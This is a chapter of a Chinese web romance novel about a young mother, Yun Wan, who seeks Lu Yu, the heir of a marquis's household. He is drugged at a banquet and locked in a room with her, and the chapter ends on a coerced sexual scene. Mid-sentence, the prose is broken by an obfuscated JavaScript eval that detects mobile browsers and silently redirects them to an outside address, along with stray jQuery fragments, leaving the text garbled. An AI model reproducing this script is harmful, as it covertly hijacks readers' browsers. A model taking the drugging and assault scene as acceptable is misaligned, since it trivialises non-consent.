之后的几天里,云挽每日早起陪着侯夫人在佛堂念经上香,下午就没有什么事情了。
她总是想着要再见一面世子,但府中侍人没有一个人敢告诉她,他在哪里。
云挽坐在摇篮边,哄着才睡醒的小宝,下意识轻叹了一口气,低喃道:“你爹爹到底在哪里?”
圆圆眼眸微转,笑着说道:“胖宝宝醒了,可要抱他出去晒晒太阳?”
云挽点了点头。
毕竟在府中逛逛,应该总能遇到陆誉。
圆圆寻了一处翠绿色的竹林,此处寂静清冷,还遮住了部分炙热的太阳,既能让小宝晒到太阳,又不至于晒伤他的小胳膊。
此时,
晌午的阳光穿过竹影照进陆誉的书房中,斑驳的竹影微微晃动,书香墨香竹香混合在一起,别有一番风味。
负责磨墨填纸的鲁言却发现世子爷今日有些心不在焉,他面前的书册已然半个时辰没有翻动了。
还未等他说话,窗外的竹林深处却有个人影来回走动。
柔婉妩媚的粉颊时不时地从斑驳竹影中出现,女子怀中的孩童时不时地发出咯咯的笑声。
但鲁言心脏怦怦乱跳,世子处置下人的手段一向雷厉风行,
况且他不喜人出现在他的窗前,上一个出现的人已然被打了十大板扔去倒夜香。
鲁言看着这个女子每每出现在窗前的时候,他的心紧紧揪了起来,在心中为她祈祷。
直到女子离去后,他担心的事情竟然没有出现。
鲁言不敢言语,偷偷用余光看着世子。
只见他深邃的眼眸中看不清任何的情绪,眼下的小痣却显得分外冷冽,嘴唇紧抿,手指摩挲着扳指。
看着时辰,鲁言放下手中的墨条,轻声唤道:“世子爷,您若是太累,属下给您把软榻收拾一下。”
陆誉没有说话,只是淡淡地撇了一眼他。
鲁言猛然跪下,身子微微颤抖道:“是属下多管闲事,世子饶命。”
---
随着赏荷宴日临近,云挽的焦虑也愈发沉重。她有许多疑惑要向世子陆誉求证,但近日竟一次也未能遇见。
忽有一日清晨,云挽正在和侍女们采摘供佛的莲花,一叶小小乌篷船划动在荷花池中,橘红色朝阳照在微微摇曳的荷花中。
云挽抱着一捧娇嫩欲滴的荷花缓缓走下小船,猛然转身却不知撞到了谁,那人发出了一声低沉的闷哼。
一大捧荷花遮挡住了她的视线,她看不清是谁,只得赶忙道歉:“抱歉,我不是故意的。”
听见对方没有说话,云挽心道莫不是生气了。
她赶快挪开胸前的荷花,在荷花尽头竟是她心心念念了许久的陆誉。
陆誉今日身着一袭淡蓝色绣云纹长袍,发冠垂下红色璎绳,香囊环佩整齐挂在腰间,矜贵眉宇间满是冷漠。
云挽赶忙向前抓着陆誉的衣袖,“世...子,我...我有问题想要问你,你的锁骨下...”
“还请这位姑娘先松手。”
陆誉淡漠地打断了她的话,
云挽赶忙松开他的衣袖,才发现她的手指上还沾染着采荷留下的一抹泥土。
还不等她说话,身旁忽然有人把她扯着跪下。
“世...世子,她不是故意的,还请您恕罪。”
原是这几日,同云挽关系甚好的一位侍女,她颤抖着说道。
云挽被这气氛吓得有些害怕,局促道:“抱歉,弄脏了你的衣袍。”
周围的侍女们都赶忙跪了下来,世子要求环境绝对洁净,如不允许他们弄脏他的物品,衣袍熨烫的角度都要一致。
上次,有个侍人把水泼到了世子的衣角上,都被赶出了府邸。
更何况这件衣袍的隆重程度,俨然是要进宫面圣。
众人愈发低下了头,仿若被云挽拖累。
陆誉眉头紧蹙,看着跪在他面前的云挽,一句话都没有,转身就要离去。
云挽看着他即将离去,想着在心底想了许久的话。
她赶忙站起身来,跑到他的面前拦下,急促问道:“世子锁骨下方可有一块月牙形的疤痕。”
陆誉脸色阴沉道:“没有。”
云挽脸色苍白,继续问道:“那...世子...后心有一处圆形的疤痕吗?”
贴身侍卫鲁言瞳孔猛然一颤。
陆誉却冷漠道:“没有,你认错人了。”
云挽低头抱起身边的荷花,鼻尖泛红,笨拙地说道:“对不起,这些日子给世子添麻烦了。”
她再次抬头,一双眼睛氤氲雾气,陆誉却早已消失在她的面前。
清净梵音回荡在小佛堂上空,满堂香烛浸染空气。
“多谢夫人款待,我想和孩子离开京城了。”
云挽已然心如死灰,她本就撑着一口气在深宅大院中,只是为了问问那人他究竟是不是她的夫君。
现下答案已然揭晓,她就没有留在此地的意义了,只是可惜了夫君给她的信物竟是侯府的府印。
兴许,夫君已然回到了云县在等她和孩子回家。
侯夫人没有说话,双手合十默念经文后,温和道:“不着急,明日便是赏荷宴,你是府邸的贵客又怎能不在?”
既然贵人做好了安排,云挽便不好再推辞,犹豫应道:“好,那麻烦夫人后日送我和孩子离开。”
侯夫人颔首,笑意却不及眼底。
--
宣平侯府的荷花池乃是京城一绝,每年侯夫人总是邀请世家贵族前来赏荷。今年却是侯府世子二十及冠的日子,这宴席已然变成了侯夫人相看世子妃的日子。
云挽看着镜子中的自己仿若天上下凡的仙女,转动腰肢如波浪的裙摆微微摆动,问道:“真的要穿这衣裙吗?若是弄坏了,会不会很贵?”
圆圆抱着小宝,嘟囔道:“这个还没有过年发给一等丫鬟的好,不要担心,侯府有的是钱。”
云挽抿着嘴笑,正欲说些什么,门外已然有侍女恭敬道:“奉夫人之命,奴婢霞林接云姑娘入席。”
云挽亲了亲小宝的脸颊,吸了一口他身上的奶香味,温柔道:“乖乖等娘回来。”
宣平侯府很大。
云挽不知道走了多久,汗珠顺着鬓角不停地流下,看着前方的侍女越走越慢,她唤道:“姑娘,还没到宴席吗?”
侍女僵了一下缓缓回头,却把云挽吓了一跳。
“不哭不哭,你这是怎么了?”
侍女眼眶泛红,泪痕布满了整张脸,“对...对不起,我好像迷路了。”
“你...你别哭,我们先歇歇,真的好热。”云挽看着炙热的太阳,扇动着手指。
侍女四处张望,打开一扇房门,说道:“那...那云姑娘就先在这个厢房歇息一下吧。”
云挽蹙眉:“你不是迷路了吗,这里可以随便进吗?”
侍女擦着额头汗,重重点头,指着门口道:“你看这个标识是厢房,没人是可以进来的。”
云挽颔首,赶快走进屋内,坐在圆凳上歇息。
侍女眼中满是抱歉,红着眼说道:“那我先去找人带路,姑娘先在这里歇着。”
看着侍女可怜的样子,云挽温柔道:“好,你去吧。”
侍女关门转身离开的刹那,眼眸瞬间变得沉稳。
云挽等了许久都没有人再回来,整个屋子静得吓人,她突然感觉不对,赶忙站起来推门,却发现大门已经被人从门外锁住。
宴席上。
“世子,奴婢给您斟酒。”
斟酒侍女将陆誉空的酒盏添至八分满后,微微抬眸,对上了席间沈箬菡的目光。
沈箬菡余光看着陆誉一饮而尽后,嘴角带笑地放下紧攥的手绢,拢了拢衣衫,摇曳生姿地离开了席位。
斟酒侍女端着酒壶转身,又同李姑姑擦肩而过。
李姑姑行至主位,浅笑着添茶道:“夫人,都准备好了。”
侯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583685|171625||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夫人温和笑着同远处打招呼的夫人们点头,冰冷话语从唇间轻启道:“不知道给世子量身定制的局,他会不会喜欢?”
李姑姑恭敬道,“不过,沈箬菡那里...”
侯夫人转动着佛珠,“无妨,知道世子秘密的人总会被主子处死,或早或晚罢了。”
--
云挽着急地在厢房内踱步,心道,切莫误了侯夫人的赏花宴。
突然,吱呀一声。
厢房的大门猛然被人撞开,还未等云挽回头望,大门已然再次关闭。
此时,屋内出现了一位身着玄衣的男人,他低头倚靠在房门。
听着周围人似是要爆炸般的喘息声,云挽赶忙拍打着男人的肩膀,“这位公子,你还好吗?”
男人缓缓抬头瞬间,云挽猛然一惊。
“世子!”
陆誉一改往日的冷漠。
他面色潮红,一双眼眸仿若被蒙上了一层迷雾。他喘着粗气,胸脯剧烈欺起伏,似是下一秒就要窒息一般。
“世子可是饮酒后身体不适?那里有床,你可要去歇一歇?”
云挽看着同夫君相同的面颊,怜惜地轻声问道。
“好热,不...离我远点...”
陆誉猛然推开云挽,踉跄地走远。
云挽赶忙转身,敲打着紧闭的大门,高声唤道:“外面可以有人,这里有人病了,有人吗?”
她担忧地看着陆誉,使出浑身力气拍打着大门,直至手掌炙热疼痛,云挽才泄了气。
而陆誉的状态愈发不好。
他矜贵的面容逐渐破裂,规矩整齐领口被他猛然扯开,泛白的指尖紧扣着交椅的扶手。
他似是在对抗什么,又或是忍耐什么。
云挽只得端上一杯凉茶,小心翼翼呼喊道:“世子,世子....”
陆誉低着头,没有应她。
此时,空气静得仿若暴风雨的前夕,云挽害怕地手指伸向了陆誉的鼻息。
“啊!”
云挽还未感受到气息,手臂突然被扯向男人身边,她脚步踉跄,整个人跌入陆誉炙热的怀抱中。
她仿若被包裹一般,双腿跪在陆誉的腿边,陆誉俯身向下,手臂揽在她的腰肢上。
云挽使劲掰着陆誉的手,却是无用功。
她心脏害怕地砰砰直跳,仰头试图呼喊陆誉的刹那间,她的眼睛瞬间睁得巨大,两行清泪瞬间流淌。
此时,陆誉衣领微敞,脖颈处淡青色血管隐约可见,锁骨下一枚深红色月牙形状疤痕赫然出现在云挽面前。
云挽瞳孔猛然一缩,颤抖的手指刚触摸到月牙疤痕就被陆誉躲开。
她双手无措,眼眸泪水瞬间滑落,“我就知道,我就知道你是阿誉...”
陆誉听不到任何的声音,合欢散烧掉了他所有的理智和自持,清冷的面容中全是对欲望的渴望。
倏然,一双微凉的小手轻轻触碰着他的身体,紧绷了许久的弦彻底断裂,禁锢的欲望在此刻被全部释出。
此刻,他不再是平日矜贵自持的世子,而是一只脱出牢笼的野兽。
陆誉紧握着脸颊上的小手,猛然抬手横抱起面前的人。
云挽还未回神,她已然被重重扔在了床榻上,脑袋一阵眩晕,男人炙热的胸膛已然压了下来。
陆誉的衣襟顺着肩膀滑落,他上身的每处疤痕显露在云挽的面前。
云挽强撑的精神在此刻瞬间崩塌,她没有认错,他就是云挽的阿誉,是小宝的爹爹。
她滚圆的眼泪簌簌地掉,“阿誉带我们回家好不好,我们回云县...”
陆誉没有回应,肆虐亲吻带来的凉意占据了他的意识,他疯狂索求着厮磨的唇齿间馨香,汲取着云挽唇中的气息,直至她呼吸都变得急促。
咚——
倏然,剧烈的冲撞声响起,房门被人重重推开。
一道低沉的女声怒斥道:“究竟是何人不守规矩,敢在侯府乱来!”